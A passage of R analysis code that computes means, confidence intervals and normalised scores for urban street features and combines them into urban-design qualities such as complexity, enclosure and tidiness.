norm <- meanVal / data$movCarsN[[1]]
medianVal <- median(data$movCars[[1]])
norm2 <- medianVal / data$movCarsN[[1]]
# print(paste("movCars", meanVal, meanVal - icData, meanVal + icData, norm, norm2), quote=FALSE)
featureAnalysis <- data.frame(feature="movCars", realS=meanVal, lowerS=meanVal-icData, higherS=meanVal+icData, normS=norm, normS2=norm2)
icData <- icForFeatures(data$parkCars[[1]])
meanVal <- mean(data$parkCars[[1]])
norm <- meanVal / data$parkCarsN[[1]]
medianVal <- median(data$parkCars[[1]])
norm2 <- medianVal / data$parkCarsN[[1]]
featureAnalysis <- rbind(featureAnalysis, data.frame(feature="parkCars", realS=meanVal, lowerS=meanVal-icData, higherS=meanVal+icData, normS=norm, normS2=norm2))
icData <- icForFeatures(data$movCicly[[1]])
meanVal <- mean(data$movCicly[[1]])
norm <- meanVal / data$movCiclyN[[1]]
medianVal <- median(data$movCicly[[1]])
norm2 <- medianVal / data$movCiclyN[[1]]
#print(paste("movCicly", meanVal, meanVal - icData, meanVal + icData, norm, norm2), quote=FALSE)
featureAnalysis <- rbind(featureAnalysis, data.frame(feature="movCicly", realS=meanVal, lowerS=meanVal-icData, higherS=meanVal+icData, normS=norm, normS2=norm2))
icData <- icForFeatures(data$buildId[[1]])
meanVal <- mean(data$buildId[[1]])
norm <- meanVal / data$buildIdN[[1]]
medianVal <- median(data$buildId[[1]])
norm2 <- medianVal / data$buildIdN[[1]]
#print(paste("buildId", meanVal, meanVal - icData, meanVal + icData, norm, norm2), quote=FALSE)
featureAnalysis <- rbind(featureAnalysis, data.frame(feature="buildId", realS=meanVal, lowerS=meanVal-icData, higherS=meanVal+icData, normS=norm, normS2=norm2))
icData <- icForFeatures(data$buildNRec[[1]])
meanVal <- mean(data$buildNRec[[1]])
norm <- meanVal / data$buildNRecN[[1]]
medianVal <- median(data$buildNRec[[1]])
norm2 <- medianVal / data$buildNRecN[[1]]
#print(paste("buildNRec", meanVal, meanVal - icData, meanVal + icData, norm, norm2), quote=FALSE)
featureAnalysis <- rbind(featureAnalysis, data.frame(feature="buildNRec", realS=meanVal, lowerS=meanVal-icData, higherS=meanVal+icData, normS=norm, normS2=norm2))
icData <- icForFeatures(data$tree[[1]])
meanVal <- mean(data$tree[[1]])
norm <- meanVal / data$treeN[[1]]
medianVal <- median(data$tree[[1]])
norm2 <- medianVal / data$treeN[[1]]
#print(paste("tree", meanVal, meanVal - icData, meanVal + icData, norm, norm2), quote=FALSE)
featureAnalysis <- rbind(featureAnalysis, data.frame(feature="tree", realS=meanVal, lowerS=meanVal-icData, higherS=meanVal+icData, normS=norm, normS2=norm2))
icData <- icForFeatures(data$smallPla[[1]])
meanVal <- mean(data$smallPla[[1]])
norm <- meanVal / data$smallPlaN[[1]]
medianVal <- median(data$smallPla[[1]])
norm2 <- medianVal / data$smallPlaN[[1]]
#print(paste("smallPla", meanVal, meanVal - icData, meanVal + icData, norm, norm2), quote=FALSE)
featureAnalysis <- rbind(featureAnalysis, data.frame(feature="smallPla", realS=meanVal, lowerS=meanVal-icData, higherS=meanVal+icData, normS=norm, normS2=norm2))
icData <- icForFeatures(data$diffBuild[[1]])
meanVal <- mean(data$diffBuild[[1]])
norm <- meanVal / data$diffBuildN[[1]]
medianVal <- median(data$diffBuild[[1]])
norm2 <- medianVal / data$diffBuildN[[1]]
# print(paste("diffBuild", meanVal, meanVal - icData, meanVal + icData, norm, norm2), quote=FALSE)
featureAnalysis <- rbind(featureAnalysis, data.frame(feature="diffBuild", realS=meanVal, lowerS=meanVal-icData, higherS=meanVal+icData, normS=norm, normS2=norm2))
icData <- icForFeatures(data$streeFur[[1]])
meanVal <- mean(data$streeFur[[1]])
norm <- meanVal / data$streeFurN[[1]]
medianVal <- median(data$streeFur[[1]])
norm2 <- medianVal / data$streeFurN[[1]]
# print(paste("streeFur", meanVal, meanVal - icData, meanVal + icData, norm, norm2), quote=FALSE)
featureAnalysis <- rbind(featureAnalysis, data.frame(feature="streeFur", realS=meanVal, lowerS=meanVal-icData, higherS=meanVal+icData, normS=norm, normS2=norm2))
icData <- icForFeatures(data$basCol[[1]])
meanVal <- mean(data$basCol[[1]])
norm <- meanVal / data$basColN[[1]]
medianVal <- median(data$basCol[[1]])
norm2 <- medianVal / data$basColN[[1]]
# print(paste("basCol", meanVal, meanVal - icData, meanVal + icData, norm, norm2), quote=FALSE)
featureAnalysis <- rbind(featureAnalysis, data.frame(feature="basCol", realS=meanVal, lowerS=meanVal-icData, higherS=meanVal+icData, normS=norm, normS2=norm2))
icData <- icForFeatures(data$ligh[[1]])
meanVal <- mean(data$ligh[[1]])
norm <- meanVal / data$lighN[[1]]
medianVal <- median(data$ligh[[1]])
norm2 <- medianVal / data$lighN[[1]]
#print(paste("ligh", meanVal, meanVal - icData, meanVal + icData, norm, norm2), quote=FALSE)
featureAnalysis <- rbind(featureAnalysis, data.frame(feature="ligh", realS=meanVal, lowerS=meanVal-icData, higherS=meanVal+icData, normS=norm, normS2=norm2))
icData <- icForFeatures(data$accenCol[[1]])
meanVal <- mean(data$accenCol[[1]])
norm <- meanVal / data$accenColN[[1]]
medianVal <- median(data$accenCol[[1]])
norm2 <- medianVal / data$accenColN[[1]]
#print(paste("accenCol", meanVal, meanVal - icData, meanVal + icData, norm, norm2), quote=FALSE)
featureAnalysis <- rbind(featureAnalysis, data.frame(feature="accenCol", realS=meanVal, lowerS=meanVal-icData, higherS=meanVal+icData, normS=norm, normS2=norm2))
icData <- icForFeatures(data$peop[[1]])
meanVal <- mean(data$peop[[1]])
norm <- meanVal / data$peopN[[1]]
medianVal <- median(data$peop[[1]])
norm2 <- medianVal / data$peopN[[1]]
# print(paste("peop", meanVal, meanVal - icData, meanVal + icData, norm, norm2), quote=FALSE)
featureAnalysis <- rbind(featureAnalysis, data.frame(feature="peop", realS=meanVal, lowerS=meanVal-icData, higherS=meanVal+icData, normS=norm, normS2=norm2))
icData <- icForFeatures(data$graff[[1]])
meanVal <- mean(data$graff[[1]])
norm <- meanVal / data$graffN[[1]]
medianVal <- median(data$graff[[1]])
norm2 <- medianVal / data$graffN[[1]]
# print(paste("graff", meanVal, meanVal - icData, meanVal + icData, norm, norm2), quote=FALSE)
featureAnalysis <- rbind(featureAnalysis, data.frame(feature="graff", realS=meanVal, lowerS=meanVal-icData, higherS=meanVal+icData, normS=norm, normS2=norm2))
icData <- icForFeatures(data$buildDiffAges[[1]])
meanVal <- mean(data$buildDiffAges[[1]])
norm <- meanVal / data$buildDiffAgesN[[1]]
medianVal <- median(data$buildDiffAges[[1]])
norm2 <- medianVal / data$buildDiffAgesN[[1]]
# print(paste("buildDiffAges", meanVal, meanVal - icData, meanVal + icData, norm, norm2), quote=FALSE)
featureAnalysis <- rbind(featureAnalysis, data.frame(feature="buildDiffAges", realS=meanVal, lowerS=meanVal-icData, higherS=meanVal+icData, normS=norm, normS2=norm2))
icData <- icForFeatures(data$streetWid[[1]])
meanVal <- mean(data$streetWid[[1]])
norm <- meanVal / data$streetWidN[[1]]
medianVal <- median(data$streetWid[[1]])
norm2 <- medianVal / data$streetWidN[[1]]
#print(paste("streetWid", meanVal, meanVal - icData, meanVal + icData, norm, norm2), quote=FALSE)
featureAnalysis <- rbind(featureAnalysis, data.frame(feature="streetWid", realS=meanVal, lowerS=meanVal-icData, higherS=meanVal+icData, normS=norm, normS2=norm2))
icData <- icForFeatures(data$sidewalkWid[[1]])
meanVal <- mean(data$sidewalkWid[[1]])
norm <- meanVal / data$sidewalkWidN[[1]]
medianVal <- median(data$sidewalkWid[[1]])
norm2 <- medianVal / data$sidewalkWidN[[1]]
#print(paste("sidewalkWid", meanVal, meanVal - icData, meanVal + icData, norm, norm2), quote=FALSE)
featureAnalysis <- rbind(featureAnalysis, data.frame(feature="sidewalkWid", realS=meanVal, lowerS=meanVal-icData, higherS=meanVal+icData, normS=norm, normS2=norm2))
icData <- icForFeatures(data$buildHeight[[1]])
meanVal <- mean(data$buildHeight[[1]])
norm <- meanVal / data$buildHeightN[[1]]
medianVal <- median(data$buildHeight[[1]])
norm2 <- medianVal / data$buildHeightN[[1]]
# print(paste("buildHeight", meanVal, meanVal - icData, meanVal + icData, norm, norm2), quote=FALSE)
featureAnalysis <- rbind(featureAnalysis, data.frame(feature="buildHeight", realS=meanVal, lowerS=meanVal-icData, higherS=meanVal+icData, normS=norm, normS2=norm2))
icData <- icForFeatures(data$longSight[[1]])
meanVal <- mean(data$longSight[[1]])
norm <- meanVal / data$longSightN[[1]]
medianVal <- median(data$longSight[[1]])
norm2 <- medianVal / data$longSightN[[1]]
#print(paste("longSight", meanVal, meanVal - icData, meanVal + icData, norm, norm2), quote=FALSE)
featureAnalysis <- rbind(featureAnalysis, data.frame(feature="longSight", realS=meanVal, lowerS=meanVal-icData, higherS=meanVal+icData, normS=norm, normS2=norm2))
icData <- icForFeatures(data$debris[[1]])
meanVal <- mean(data$debris[[1]])
norm <- meanVal / data$debrisN[[1]]
medianVal <- median(data$debris[[1]])
norm2 <- medianVal / data$debrisN[[1]]
#print(paste("debris", meanVal, meanVal - icData, meanVal + icData, norm, norm2), quote=FALSE)
featureAnalysis <- rbind(featureAnalysis, data.frame(feature="debris", realS=meanVal, lowerS=meanVal-icData, higherS=meanVal+icData, normS=norm, normS2=norm2))
icData <- icForFeatures(data$pavement[[1]])
meanVal <- mean(data$pavement[[1]])
norm <- meanVal / data$pavementN[[1]]
medianVal <- median(data$pavement[[1]])
norm2 <- medianVal / data$pavementN[[1]]
# print(paste("pavement", meanVal, meanVal - icData, meanVal + icData, norm, norm2), quote=FALSE)
featureAnalysis <- rbind(featureAnalysis, data.frame(feature="pavement", realS=meanVal, lowerS=meanVal-icData, higherS=meanVal+icData, normS=norm, normS2=norm2))
icData <- icForFeatures(data$landscape[[1]])
meanVal <- mean(data$landscape[[1]])
norm <- meanVal / data$landscapeN[[1]]
medianVal <- median(data$landscape[[1]])
norm2 <- medianVal / data$landscapeN[[1]]
# print(paste("landscape", meanVal, meanVal - icData, meanVal + icData, norm, norm2), quote=FALSE)
featureAnalysis <- rbind(featureAnalysis, data.frame(feature="landscape", realS=meanVal, lowerS=meanVal-icData, higherS=meanVal+icData, normS=norm, normS2=norm2))
icData <- icForFeatures(data$propStreetWall[[1]])
meanVal <- mean(data$propStreetWall[[1]])
norm <- meanVal / data$propStreetWallN[[1]]
medianVal <- median(data$propStreetWall[[1]])
norm2 <- medianVal / data$propStreetWallN[[1]]
# print(paste("propStreetWall", meanVal, meanVal - icData, meanVal + icData, norm, norm2), quote=FALSE)
featureAnalysis <- rbind(featureAnalysis, data.frame(feature="propStreetWall", realS=meanVal, lowerS=meanVal-icData, higherS=meanVal+icData, normS=norm, normS2=norm2))
icData <- icForFeatures(data$propWind[[1]])
meanVal <- mean(data$propWind[[1]])
norm <- meanVal / data$propWindN[[1]]
medianVal <- median(data$propWind[[1]])
norm2 <- medianVal / data$propWindN[[1]]
#print(paste("propWind", meanVal, meanVal - icData, meanVal + icData, norm, norm2), quote=FALSE)
featureAnalysis <- rbind(featureAnalysis, data.frame(feature="propWind", realS=meanVal, lowerS=meanVal-icData, higherS=meanVal+icData, normS=norm, normS2=norm2))
icData <- icForFeatures(data$propSkyAhead[[1]])
meanVal <- mean(data$propSkyAhead[[1]])
norm <- meanVal / data$propSkyAheadN[[1]]
medianVal <- median(data$propSkyAhead[[1]])
norm2 <- medianVal / data$propSkyAheadN[[1]]
#print(paste("propSkyAhead", meanVal, meanVal - icData, meanVal + icData, norm, norm2), quote=FALSE)
featureAnalysis <- rbind(featureAnalysis, data.frame(feature="propSkyAhead", realS=meanVal, lowerS=meanVal-icData, higherS=meanVal+icData, normS=norm, normS2=norm2))
icData <- icForFeatures(data$propSkyAcross[[1]])
meanVal <- mean(data$propSkyAcross[[1]])
norm <- meanVal / data$propSkyAcrossN[[1]]
medianVal <- median(data$propSkyAcross[[1]])
norm2 <- medianVal / data$propSkyAcrossN[[1]]
# print(paste("propSkyAcross", meanVal, meanVal - icData, meanVal + icData, norm, norm2), quote=FALSE)
featureAnalysis <- rbind(featureAnalysis, data.frame(feature="propSkyAcross", realS=meanVal, lowerS=meanVal-icData, higherS=meanVal+icData, normS=norm, normS2=norm2))
icData <- icForFeatures(data$propActiveUse[[1]])
meanVal <- mean(data$propActiveUse[[1]])
norm <- meanVal / data$propActiveUseN[[1]]
medianVal <- median(data$propActiveUse[[1]])
norm2 <- medianVal / data$propActiveUseN[[1]]
#print(paste("propActiveUse", meanVal, meanVal - icData, meanVal + icData, norm, norm2), quote=FALSE)
featureAnalysis <- rbind(featureAnalysis, data.frame(feature="propActiveUse", realS=meanVal, lowerS=meanVal-icData, higherS=meanVal+icData, normS=norm, normS2=norm2))
write.table(arrange(featureAnalysis, desc(abs(normS))), row.names=FALSE, quote=FALSE)
#Urban Qualities simulated values analysis
qualitySum <- mean(data$movCars[[1]]) + mean(data$movCicly[[1]]) + mean(data$parkCars[[1]]) + mean(data$peop[[1]]) + mean(data$diffBuild[[1]]) + mean(data$buildNRec[[1]]) + mean(data$buildDiffAges[[1]]) + mean(data$ligh[[1]]) + mean(data$graff[[1]]) + mean(data$basCol[[1]]) + mean(data$accenCol[[1]]) + mean(data$streeFur[[1]]) + mean(data$tree[[1]]) + mean(data$smallPla[[1]])
qualities <- data.frame(feature="complexity", value=qualitySum, norm=qualitySum / (data$movCarsN[[1]] + data$movCiclyN[[1]] + data$parkCarsN[[1]] + data$peopN[[1]] + data$diffBuildN[[1]] + data$buildNRecN[[1]] + data$buildDiffAgesN[[1]] + data$lighN[[1]] + data$graffN[[1]] + data$basColN[[1]] + data$accenColN[[1]] + data$streeFurN[[1]] + data$treeN[[1]] + data$smallPlaN[[1]]) )
qualitySum <- mean(data$movCars[[1]]) + mean(data$movCicly[[1]]) + mean(data$peop[[1]]) + mean(data$ligh[[1]]) + mean(data$streeFur[[1]]) + mean(data$tree[[1]]) + mean(data$smallPla[[1]]) + mean(data$longSight[[1]]) + mean(data$streetWid[[1]]) #+ mean(data$buildHeight[[1]])
qualities <- rbind(qualities, data.frame(feature="humanScale", value=qualitySum, norm=qualitySum / (data$movCarsN[[1]] + data$movCiclyN[[1]] + data$peopN[[1]] + data$lighN[[1]] + data$streeFurN[[1]] + data$treeN[[1]] + data$smallPlaN[[1]] + data$longSightN[[1]] + data$streetWidN[[1]])))
qualitySum <- mean(data$peop[[1]]) + mean(data$buildId[[1]]) + mean(data$buildNRec[[1]]) + mean(data$basCol[[1]])
qualities <- rbind(qualities, data.frame(feature="imageability", value=qualitySum, norm=qualitySum / (data$peopN[[1]] + data$buildIdN[[1]] + data$buildNRecN[[1]] + data$basColN[[1]])))
qualitySum <- mean(data$ligh[[1]]) + mean(data$tree[[1]]) + mean(data$longSight[[1]]) + mean(data$streetWid[[1]])#+ mean(data$buildHeight[[1]])
qualities <- rbind(qualities, data.frame(feature="enclosure", value=qualitySum, norm=qualitySum / (data$lighN[[1]] + data$treeN[[1]] + data$longSightN[[1]] + data$streetWidN[[1]])))
qualitySum <- mean(data$peop[[1]]) + mean(data$buildDiffAges[[1]]) + mean(data$ligh[[1]]) + mean(data$basCol[[1]]) + mean(data$accenCol[[1]])+ mean(data$streeFur[[1]])#+ mean(data$buildHeight[[1]])
qualities <- rbind(qualities, data.frame(feature="coherence", value=qualitySum, norm=qualitySum / (data$peopN[[1]] + data$buildDiffAgesN[[1]] + data$lighN[[1]] + data$basColN[[1]] + data$accenColN[[1]]+ data$streeFurN[[1]])))
qualitySum <- mean(data$movCars[[1]]) + mean(data$longSight[[1]]) + mean(data$streetWid[[1]])
qualities <- rbind(qualities, data.frame(feature="linkage", value=qualitySum, norm=qualitySum / (data$movCarsN[[1]] + data$longSightN[[1]] + data$streetWidN[[1]])))
qualitySum <- mean(data$buildId[[1]]) + mean(data$longSight[[1]])
qualities <- rbind(qualities, data.frame(feature="legibility", value=qualitySum, norm=qualitySum / (data$buildIdN[[1]] + data$longSightN[[1]])))
qualitySum <- mean(data$sidewalkWid[[1]])#+ mean(data$buildHeight[[1]])
qualities <- rbind(qualities, data.frame(feature="transparency", value=qualitySum, norm=qualitySum / (data$sidewalkWidN[[1]])))
qualitySum <- mean(data$graff[[1]]) + mean(data$streeFur[[1]]) + mean(data$debris[[1]]) + mean(data$pavement[[1]]) + mean(data$landscape[[1]])#+ mean(data$buildHeight[[1]])
qualities <- rbind(qualities, data.frame(feature="tidiness", value=qualitySum, norm=qualitySum / (data$graffN[[1]] + data$streeFurN[[1]] + data$debrisN[[1]] + data$pavementN[[1]] + data$landscapeN[[1]])))
write.table(arrange(qualities, desc(abs(value))), row.names=FALSE, quote=FALSE)
#Printing qualities and their respective features
print(filter(qualities, feature=="complexity"))
print(filter(featureAnalysis, feature=="movCars" | feature == "movCicly" | feature == "parkCars" | feature == "peop" | feature == "diffBuild" | feature == "buildNRec" | feature == "buildDiffAges" | feature == "ligh" | feature == "graff" | feature == "basCol" | feature == "accenCol" | feature == "streeFur" | feature == "tree" | feature == "smallPla"))
print(filter(qualities, feature=="humanScale"))
print(filter(featureAnalysis, feature=="movCars" | feature == "movCicly" | feature == "peop" | feature == "ligh" | feature == "streeFur" | feature == "tree" | feature == "smallPla" | feature == "longSight" | feature == "streetWid" | feature == "buildHeight"))
print(filter(qualities, feature=="imageability"))
print(filter(featureAnalysis, feature == "peop" | feature == "buildId" | feature == "buildNRec" | feature == "basCol" ))
print(filter(qualities, feature=="enclosure"))
print(filter(featureAnalysis, feature=="ligh" | feature == "tree" | feature == "longSight" | feature == "streetWid" | feature == "buildHeight"))
print(filter(qualities, feature=="coherence"))
print(filter(featureAnalysis, feature == "peop" | feature == "buildDiffAges" | feature == "ligh" | feature == "basCol" | feature == "accenCol" | feature == "streeFur" | feature == "buildHeight"))
print(filter(qualities, feature=="linkage"))
print(filter(featureAnalysis, feature == "movCars" | feature == "longSight" | feature == "streetWid" ))
print(filter(qualities, feature=="legibility"))
print(filter(featureAnalysis, feature == "buildId" | feature == "longSight"))
print(filter(qualities, feature=="transparency"))
print(filter(featureAnalysis, feature == "sidewalkWid" | feature == "buildHeight"))
print(filter(qualities, feature=="tidiness"))
print(filter(featureAnalysis, feature == "graff" | feature == "streeFur" | feature == "debris" | feature == "pavement" | feature == "landscape"))
}
convertSummary <- function(coeffData, size=1000) {
print( paste( "index feature real random sd lower higher lowerSid higherSid norm" ), quote=FALSE )
realValue <- as.double(filter(coeffData, variable=="movCars")$value)
normValue <- as.double(filter(coeffData, variable=="movCarsN")$value)
randomValue <- as.double(filter(coeffData, variable=="rmovCars")$value)
sdValue <- as.double(filter(coeffData, variable=="rsdMovCars")$value)
lower <- randomValue - icOnValues(randomValue, sdValue, size)
higher <- randomValue + icOnValues(randomValue, sdValue, size)
lowerSid <- randomValue - icOnValuesSidak(randomValue, sdValue, size)
higherSid <- randomValue + icOnValuesSidak(randomValue, sdValue, size)
print( paste ( "movCars", format(realValue, digits=2, nsmall=2), " ", format(randomValue, digits=2, nsmall=2) , " ", format(sdValue, digits=2, nsmall=2) , " ", format(lower, digits=2, nsmall=2), " ", format(higher, digits=2, nsmall=2), " ", format(lowerSid, digits=2, nsmall=2), " ", format(higherSid, digits=2, nsmall=2), " ", format(normValue, digits=2, nsmall=2) ), quote=FALSE )
realValue <- filter(coeffData, variable=="parkCars")$value
normValue <- as.double(filter(coeffData, variable=="parkCarsN")$value)
randomValue <- filter(coeffData, variable=="rparkCars")$value
sdValue <- filter(coeffData, variable=="rsdParkCars")$value
lower <- randomValue - icOnValues(randomValue, sdValue, size)
higher <- randomValue + icOnValues(randomValue, sdValue, size)
lowerSid <- randomValue - icOnValuesSidak(randomValue, sdValue, size)
higherSid <- randomValue + icOnValuesSidak(randomValue, sdValue, size)
print( paste ( "parkCars", format(realValue, digits=2, nsmall=2), " ", format(randomValue, digits=2, nsmall=2) , " ", format(sdValue, digits=2, nsmall=2) , " ", format(lower, digits=2, nsmall=2), " ", format(higher, digits=2, nsmall=2), " ", format(lowerSid, digits=2, nsmall=2), " ", format(higherSid, digits=2, nsmall=2), " ", format(normValue, digits=2, nsmall=2) ), quote=FALSE )
realValue <- filter(coeffData, variable=="movCicly")$value
normValue <- as.double(filter(coeffData, variable=="movCiclyN")$value)
randomValue <- filter(coeffData, variable=="rmovCicly")$value
sdValue <- filter(coeffData, variable=="rsdMovCicly")$value
lower <- randomValue - icOnValues(randomValue, sdValue, size)
higher <- randomValue + icOnValues(randomValue, sdValue, size)
lowerSid <- randomValue - icOnValuesSidak(randomValue, sdValue, size)
higherSid <- randomValue + icOnValuesSidak(randomValue, sdValue, size)
print( paste ( "movCicly", format(realValue, digits=2, nsmall=2), " ", format(randomValue, digits=2, nsmall=2) , " ", format(sdValue, digits=2, nsmall=2) , " ", format(lower, digits=2, nsmall=2), " ", format(higher, digits=2, nsmall=2), " ", format(lowerSid, digits=2, nsmall=2), " ", format(higherSid, digits=2, nsmall=2), " ", format(normValue, digits=2, nsmall=2) ), quote=FALSE )
realValue <- filter(coeffData, variable=="buildId")$value
normValue <- as.double(filter(coeffData, variable=="buildIdN")$value)
randomValue <- filter(coeffData, variable=="rbuildId")$value
sdValue <- filter(coeffData, variable=="rsdBuildId")$value
lower <- randomValue - icOnValues(randomValue, sdValue, size)
higher <- randomValue + icOnValues(randomValue, sdValue, size)
lowerSid <- randomValue - icOnValuesSidak(randomValue, sdValue, size)
higherSid <- randomValue + icOnValuesSidak(randomValue, sdValue, size)
print( paste ( "buildId", format(realValue, digits=2, nsmall=2), " ", format(randomValue, digits=2, nsmall=2) , " ", format(sdValue, digits=2, nsmall=2) , " ", format(lower, digits=2, nsmall=2), " ", format(higher, digits=2, nsmall=2), " ", format(lowerSid, digits=2, nsmall=2), " ", format(higherSid, digits=2, nsmall=2), " ", format(normValue, digits=2, nsmall=2) ), quote=FALSE )
realValue <- filter(coeffData, variable=="buildNRec")$value
normValue <- as.double(filter(coeffData, variable=="buildNRecN")$value)
randomValue <- filter(coeffData, variable=="rbuildNRec")$value
sdValue <- filter(coeffData, variable=="rsdBuildNRec")$value
lower <- randomValue - icOnValues(randomValue, sdValue, size)
higher <- randomValue + icOnValues(randomValue, sdValue, size)
lowerSid <- randomValue - icOnValuesSidak(randomValue, sdValue, size)
higherSid <- randomValue + icOnValuesSidak(randomValue, sdValue, size)
print( paste ( "buildNRec", format(realValue, digits=2, nsmall=2), " ", format(randomValue, digits=2, nsmall=2) , " ", format(sdValue, digits=2, nsmall=2) , " ", format(lower, digits=2, nsmall=2), " ", format(higher, digits=2, nsmall=2), " ", format(lowerSid, digits=2, nsmall=2), " ", format(higherSid, digits=2, nsmall=2), " ", format(normValue, digits=2, nsmall=2) ), quote=FALSE )
realValue <- filter(coeffData, variable=="tree")$value
normValue <- as.double(filter(coeffData, variable=="treeN")$value)
randomValue <- filter(coeffData, variable=="rtree")$value
sdValue <- filter(coeffData, variable=="rsdTree")$value
lower <- randomValue - icOnValues(randomValue, sdValue, size)
higher <- randomValue + icOnValues(randomValue, sdValue, size)
lowerSid <- randomValue - icOnValuesSidak(randomValue, sdValue, size)
higherSid <- randomValue + icOnValuesSidak(randomValue, sdValue, size)
print( paste ( "tree", format(realValue, digits=2, nsmall=2), " ", format(randomValue, digits=2, nsmall=2) , " ", format(sdValue, digits=2, nsmall=2) , " ", format(lower, digits=2, nsmall=2), " ", format(higher, digits=2, nsmall=2), " ", format(lowerSid, digits=2, nsmall=2), " ", format(higherSid, digits=2, nsmall=2), " ", format(normValue, digits=2, nsmall=2) ), quote=FALSE )
realValue <- filter(coeffData, variable=="smallPla")$value
normValue <- as.double(filter(coeffData, variable=="smallPlaN")$value)
randomValue <- filter(coeffData, variable=="rsmallPla")$value
sdValue <- filter(coeffData, variable=="rsdSmallPla")$value
lower <- randomValue - icOnValues(randomValue, sdValue, size)
higher <- randomValue + icOnValues(randomValue, sdValue, size)
lowerSid <- randomValue - icOnValuesSidak(randomValue, sdValue, size)
higherSid <- randomValue + icOnValuesSidak(randomValue, sdValue, size)
print( paste ( "smallPla", format(realValue, digits=2, nsmall=2), " ", format(randomValue, digits=2, nsmall=2) , " ", format(sdValue, digits=2, nsmall=2) , " ", format(lower, digits=2, nsmall=2), " ", format(higher, digits=2, nsmall=2), " ", format(lowerSid, digits=2, nsmall=2), " ", format(higherSid, digits=2, nsmall=2), " ", format(normValue, digits=2, nsmall=2) ), quote=FALSE )
realValue <- filter(coeffData, variable=="diffBuild")$value
normValue <- as.double(filter(coeffData, variable=="diffBuildN")$value)
randomValue <- filter(coeffData, variable=="rdiffBuild")$value
sdValue <- filter(coeffData, variable=="rsdDiffBuild")$value
lower <- randomValue - icOnValues(randomValue, sdValue, size)
higher <- randomValue + icOnValues(randomValue, sdValue, size)
lowerSid <- randomValue - icOnValuesSidak(randomValue, sdValue, size)
higherSid <- randomValue + icOnValuesSidak(randomValue, sdValue, size)
print( paste ( "diffBuild", format(realValue, digits=2, nsmall=2), " ", format(randomValue, digits=2, nsmall=2) , " ", format(sdValue, digits=2, nsmall=2) , " ", format(lower, digits=2, nsmall=2), " ", format(higher, digits=2, nsmall=2), " ", format(lowerSid, digits=2, nsmall=2), " ", format(higherSid, digits=2, nsmall=2), " ", format(normValue, digits=2, nsmall=2) ), quote=FALSE )
realValue <- filter(coeffData, variable=="streeFur")$value
normValue <- as.double(filter(coeffData, variable=="streeFurN")$value)
randomValue <- filter(coeffData, variable=="rstreeFur")$value
sdValue <- filter(coeffData, variable=="rsdStreeFur")$value
lower <- randomValue - icOnValues(randomValue, sdValue, size)
higher <- randomValue + icOnValues(randomValue, sdValue, size)
lowerSid <- randomValue - icOnValuesSidak(randomValue, sdValue, size)
higherSid <- randomValue + icOnValuesSidak(randomValue, sdValue, size)
print( paste ( "streeFur", format(realValue, digits=2, nsmall=2), " ", format(randomValue, digits=2, nsmall=2) , " ", format(sdValue, digits=2, nsmall=2) , " ", format(lower, digits=2, nsmall=2), " ", format(higher, digits=2, nsmall=2), " ", format(lowerSid, digits=2, nsmall=2), " ", format(higherSid, digits=2, nsmall=2), " ", format(normValue, digits=2, nsmall=2) ), quote=FALSE )
realValue <- filter(coeffData, variable=="basCol")$value
normValue <- as.double(filter(coeffData, variable=="basColN")$value)
randomValue <- filter(coeffData, variable=="rbasCol")$value
sdValue <- filter(coeffData, variable=="rsdBasCol")$value
lower <- randomValue - icOnValues(randomValue, sdValue, size)
higher <- randomValue + icOnValues(randomValue, sdValue, size)
lowerSid <- randomValue - icOnValuesSidak(randomValue, sdValue, size)
higherSid <- randomValue + icOnValuesSidak(randomValue, sdValue, size)
print( paste ( "basCol", format(realValue, digits=2, nsmall=2), " ", format(randomValue, digits=2, nsmall=2) , " ", format(sdValue, digits=2, nsmall=2) , " ", format(lower, digits=2, nsmall=2), " ", format(higher, digits=2, nsmall=2), " ", format(lowerSid, digits=2, nsmall=2), " ", format(higherSid, digits=2, nsmall=2), " ", format(normValue, digits=2, nsmall=2) ), quote=FALSE )
realValue <- filter(coeffData, variable=="ligh")$value
normValue <- as.double(filter(coeffData, variable=="lighN")$value)
randomValue <- filter(coeffData, variable=="rligh")$value
sdValue <- filter(coeffData, variable=="rsdLigh")$value
lower <- randomValue - icOnValues(randomValue, sdValue, size)
higher <- randomValue + icOnValues(randomValue, sdValue, size)
lowerSid <- randomValue - icOnValuesSidak(randomValue, sdValue, size)
higherSid <- randomValue + icOnValuesSidak(randomValue, sdValue, size)
print( paste ( "ligh", format(realValue, digits=2, nsmall=2), " ", format(randomValue, digits=2, nsmall=2) , " ", format(sdValue, digits=2, nsmall=2) , " ", format(lower, digits=2, nsmall=2), " ", format(higher, digits=2, nsmall=2), " ", format(lowerSid, digits=2, nsmall=2), " ", format(higherSid, digits=2, nsmall=2), " ", format(normValue, digits=2, nsmall=2) ), quote=FALSE )
realValue <- filter(coeffData, variable=="accenCol")$value
normValue <- as.double(filter(coeffData, variable=="accenColN")$value)
randomValue <- filter(coeffData, variable=="raccenCol")$value
sdValue <- filter(coeffData, variable=="rsdAccenCol")$value
lower <- randomValue - icOnValues(randomValue, sdValue, size)
higher <- randomValue + icOnValues(randomValue, sdValue, size)
lowerSid <- randomValue - icOnValuesSidak(randomValue, sdValue, size)
higherSid <- randomValue + icOnValuesSidak(randomValue, sdValue, size)
print( paste ( "accenCol", format(realValue, digits=2, nsmall=2), " ", format(randomValue, digits=2, nsmall=2) , " ", format(sdValue, digits=2, nsmall=2) , " ", format(lower, digits=2, nsmall=2), " ", format(higher, digits=2, nsmall=2), " ", format(lowerSid, digits=2, nsmall=2), " ", format(higherSid, digits=2, nsmall=2), " ", format(normValue, digits=2, nsmall=2) ), quote=FALSE )
realValue <- filter(coeffData, variable=="peop")$value
normValue <- as.double(filter(coeffData, variable=="peopN")$value)
randomValue <- filter(coeffData, variable=="rpeop")$value
sdValue <- filter(coeffData, variable=="rsdPeop")$value
lower <- randomValue - icOnValues(randomValue, sdValue, size)
higher <- randomValue + icOnValues(randomValue, sdValue, size)
lowerSid <- randomValue - icOnValuesSidak(randomValue, sdValue, size)
higherSid <- randomValue + icOnValuesSidak(randomValue, sdValue, size)
print( paste ( "peop", format(realValue, digits=2, nsmall=2), " ", format(randomValue, digits=2, nsmall=2) , " ", format(sdValue, digits=2, nsmall=2) , " ", format(lower, digits=2, nsmall=2), " ", format(higher, digits=2, nsmall=2), " ", format(lowerSid, digits=2, nsmall=2), " ", format(higherSid, digits=2, nsmall=2), " ", format(normValue, digits=2, nsmall=2) ), quote=FALSE )
realValue <- filter(coeffData, variable=="graff")$value
normValue <- as.double(filter(coeffData, variable=="graffN")$value)
randomValue <- filter(coeffData, variable=="rgraff")$value
sdValue <- filter(coeffData, variable=="rsdGraff")$value
lower <- randomValue - icOnValues(randomValue, sdValue, size)
